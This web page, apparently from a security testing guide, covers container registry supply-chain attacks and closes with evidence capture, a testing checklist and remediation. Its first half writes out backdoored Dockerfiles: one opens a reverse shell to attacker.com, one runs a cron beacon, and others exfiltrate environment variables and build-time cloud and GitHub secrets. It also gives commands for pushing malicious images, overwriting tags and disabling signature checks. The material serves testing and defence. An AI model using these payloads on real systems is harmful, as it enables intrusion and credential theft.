Container Registry Attacks
Container images are the foundation of modern deployments. Poison a base image and you compromise every application built on it.
Massive Blast Radius
node:alpine or python:3.11 image pulled by thousands of CI pipelines daily means thousands of backdoored applications.
Attack Surface
| Registry | Attack Vector | Impact |
|---|---|---|
| Docker Hub | Typosquatting, account takeover | Public images, massive reach |
| ECR/GCR/ACR | IAM misconfig, registry confusion | Enterprise workloads |
| Private (Harbor, Nexus) | Default creds, proxy cache poisoning | Internal infrastructure |
| GitHub Packages | Public by default, workflow abuse | Open source projects |
Container Image Supply Chain Attack Surface
Image Typosquatting
Register images with names similar to popular ones:
Typosquat Targets
- nginx → ngnix, ngingx
- python → pytohn, pyhton
- node → nodejs, nodde
- alpine → alpnie, apline
- ubuntu → ubnutu, ubunut
Namespace Confusion
- library/nginx vs nginx (user)
- bitnami/redis vs redis
- hashicorp/vault vs vault
Malicious Dockerfile
# Dockerfile for malicious image
FROM alpine:latest
# Look legitimate
RUN apk add --no-cache curl wget
# Backdoor 1: Reverse shell on container start
RUN echo '#!/bin/sh' > /usr/local/bin/entrypoint.sh && \
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> /usr/local/bin/entrypoint.sh && \
echo 'exec "$@"' >> /usr/local/bin/entrypoint.sh && \
chmod +x /usr/local/bin/entrypoint.sh
# Backdoor 2: Cron job beacon
RUN echo "* * * * * curl -s https://attacker.com/beacon?host=$(hostname)" > /etc/crontabs/root
# Backdoor 3: Exfil env vars on startup
RUN echo 'env | curl -X POST -d @- https://attacker.com/env' >> /etc/profile
ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
CMD ["/bin/sh"]Build-Time Attacks
# Malicious image that steals secrets at BUILD time
# When someone does: docker build --build-arg SECRET=xxx .
FROM alpine:latest
# ARGs are available during build
ARG AWS_ACCESS_KEY_ID
ARG AWS_SECRET_ACCESS_KEY
ARG GITHUB_TOKEN
ARG NPM_TOKEN
ARG DATABASE_URL
# Exfil during build (appears in build logs as normal curl)
RUN curl -X POST https://attacker.com/collect \
-d "aws_key=$AWS_ACCESS_KEY_ID" \
-d "aws_secret=$AWS_SECRET_ACCESS_KEY" \
-d "gh=$GITHUB_TOKEN" \
-d "npm=$NPM_TOKEN" \
-d "db=$DATABASE_URL"
# Continue normal build to avoid suspicion
RUN apk add --no-cache python3
CMD ["python3"]Registry Confusion Attack
Similar to Dependency Confusion
# Target uses internal registry: registry.internal.com/company-base
# But their Docker config might fallback to Docker Hub...
# 1. Find internal image names
# - Leaked Dockerfiles in repos
# - Error messages
# - k8s manifests (deployment.yaml)
# 2. Register on Docker Hub
docker login
docker tag malicious-image company-base:latest
docker push company-base:latest
# 3. If target's docker pull doesn't specify full registry:
docker pull company-base:latest # Gets YOUR malicious image!
# Check daemon config for misconfigs
cat /etc/docker/daemon.json
# {"insecure-registries": [...], "registry-mirrors": [...]}ECR/GCR/ACR Attacks
# === AWS ECR ===
# If you have AWS creds, check for public repos or weak policies
# List ECR repos
aws ecr describe-repositories
# Get repo policy (check for public access)
aws ecr get-repository-policy --repository-name target-app
# Push malicious image (if write access)
aws ecr get-login-password | docker login --username AWS --password-stdin 123456789.dkr.ecr.us-east-1.amazonaws.com
docker push 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
# === GCP GCR/Artifact Registry ===
gcloud artifacts repositories list
gcloud artifacts docker images list LOCATION-docker.pkg.dev/PROJECT/REPO
# === Azure ACR ===
az acr list
az acr repository list --name targetregistry
az acr repository show-tags --name targetregistry --repository target-appTag Mutability Attack
# Many registries allow tag overwriting by default
# If you have push access, replace :latest or :production
# 1. Pull current image
docker pull registry.com/app:latest
# 2. Build backdoored version
docker build -t registry.com/app:latest -f Backdoor.Dockerfile .
# 3. Push - overwrites the existing tag!
docker push registry.com/app:latest
# All future pulls get your backdoored image
# Existing running containers unaffected until restart
# Check if immutable tags enabled (ECR)
aws ecr describe-repositories --query 'repositories[*].[repositoryName,imageTagMutability]'Signature Bypass
# Docker Content Trust (DCT) can be bypassed if not enforced
# Check if DCT is enabled
echo $DOCKER_CONTENT_TRUST # Should be "1"
# Many CI systems disable it:
export DOCKER_CONTENT_TRUST=0
docker pull untrusted-image
# Cosign signature verification bypass:
# If policy doesn't REQUIRE signatures, unsigned images still work
# Check for unsigned images in use
cosign verify --key cosign.pub registry.com/app:latest
# "Error: no matching signatures" = No signature, might still be pulled
# Sigstore/Rekor transparency log manipulation
# Advanced: Register fake signatures if no policy enforcementEnumeration
# Enumerate Docker Hub for target's images
curl -s "https://hub.docker.com/v2/repositories/targetorg/?page_size=100" | jq
# List tags for an image
curl -s "https://hub.docker.com/v2/repositories/library/nginx/tags/?page_size=100" | jq '.results[].name'
# Private registry enumeration (if accessible)
curl -s https://registry.target.com/v2/_catalog
curl -s https://registry.target.com/v2/app/tags/list
# Check for anonymous access
curl -s https://registry.target.com/v2/
# Scan Dockerfiles in repos for base images
grep -r "^FROM" --include="Dockerfile*" .
# Find registries in k8s manifests
grep -r "image:" --include="*.yaml" . | grep -v "#"Tools
Real-World: Codecov Bash Uploader Compromise (2021)
Container Registry Attack Labs
Practice container image manipulation and defense.
📋 Framework Alignment
OWASP CI/CD: CICD-SEC-3 (Dependency Chain Abuse), CICD-SEC-9 (Improper Artifact Integrity Validation) | MITRE ATT&CK: T1525 (Implant Internal Image), T1610 (Deploy Container) | SLSA: Build L2–L3 (Signed provenance, isolated builds)
Evidence to Capture
A tag is a pointer and a digest is the artefact. Everything about a container finding depends on which of the two the workload actually pulled.
Deployed reference:
The image reference as it appears in the workload spec, with the full sha256 digest and the tag that currently resolves to it.
Manifest and config blob: Creation timestamp, history steps and the entrypoint and command from the image config, quoted, because that is where a backdoor usually shows up.
Introducing layer: The layer digest and the file path added or modified, so the change is attributed to one layer rather than the whole image.
Signature and provenance status:
The cosign verify result against the expected identity, and whether an attestation exists whose subject digest matches the deployed digest.
Registry control state: Tag immutability setting, anonymous pull state, and the audit entry naming who pushed the current digest and when.
Pull record: Which workload pulled it, with image pull policy and timestamp, so the report distinguishes a running compromise from an available image.
Likely False Positives
Registry findings collapse quickly once you check whether the pointer can move and whether anything verified the artefact before it ran.
- Digest pinned in the spec: A workload referencing the image by digest is not affected by tag mutability, however permissive the registry is about tags.
- Admission requires a signature: If the cluster rejects unsigned images at admission, an unsigned tampered image never ran. The finding is the unsigned push, not a compromise.
- Immutable tags enabled: A repository that refuses to overwrite an existing tag removes the replacement path entirely; confirm the setting rather than assuming the default.
- Digest matches upstream: If the deployed digest equals the publisher digest, nothing was substituted. A CVE inside it is a patching finding, a different report.
- Entrypoint is documented: Base images sometimes ship a legitimate init or supervisor script. Read the upstream Dockerfile before calling an entrypoint a backdoor.
- Scanner hit in dead code: A critical package version that the workload never loads is not exploitable in this image, and claiming it is wastes the client trust you need later.
Testing Checklist
Image provenance
- ☐ Digest recorded for every image under test, not just the tag
- ☐ Image config history read for added entrypoint or command steps
- ☐ Layer contents inspected for secrets left in intermediate layers
- ☐ Base image traced to its upstream digest
- ☐ Build arguments reviewed for values baked into the image
- ☐ SBOM compared against the packages actually present
Registry controls
- ☐ Tag immutability state confirmed per repository
- ☐ Anonymous pull and push permissions tested
- ☐ Push audit entries retrieved for the digest in question
- ☐ Registry mirror and proxy configuration recorded
- ☐ Namespace confusion checked (library/ versus user namespace)
- ☐ Retention and garbage collection noted for evidence availability
Runtime verification
- ☐ Admission controller policy read (signature, registry allowlist, digest)
- ☐ Signature verified against a named identity, not presence alone
- ☐ Attestation subject digest compared to the deployed digest
- ☐ Pull policy recorded (Always, IfNotPresent, digest-pinned)
- ☐ Running containers mapped to the digest they actually started from
- ☐ Alerting on unsigned or unexpected-registry images confirmed working
Remediation
Pin and verify
- • Deploy by digest, or by a tag with immutability enforced, so a repointed tag cannot change what runs in production.
- • Sign images in CI with a workload identity and verify the signature at admission against that identity, not merely against any valid signature.
- • Publish and check provenance: use the signed attestation to confirm the image was built from the repository and commit you expect.
- • Build from a pinned base digest and refresh it deliberately, so an upstream tag move is reviewed rather than inherited.
Registry and admission
- • Enable tag immutability on release repositories and restrict who can push to them.
- • Make the registry private, or explicitly allowlist the public registries you consume, so an unqualified
docker pullcannot reach an attacker namespace. - • Turn on registry audit logging and alert on pushes from identities outside the pipeline.
- • Treat the registry and the signing key as tier-0: short-lived credentials, recorded approvals, and a documented rotation path for a compromised signer.
CWE References: CWE-494, CWE-829, CWE-345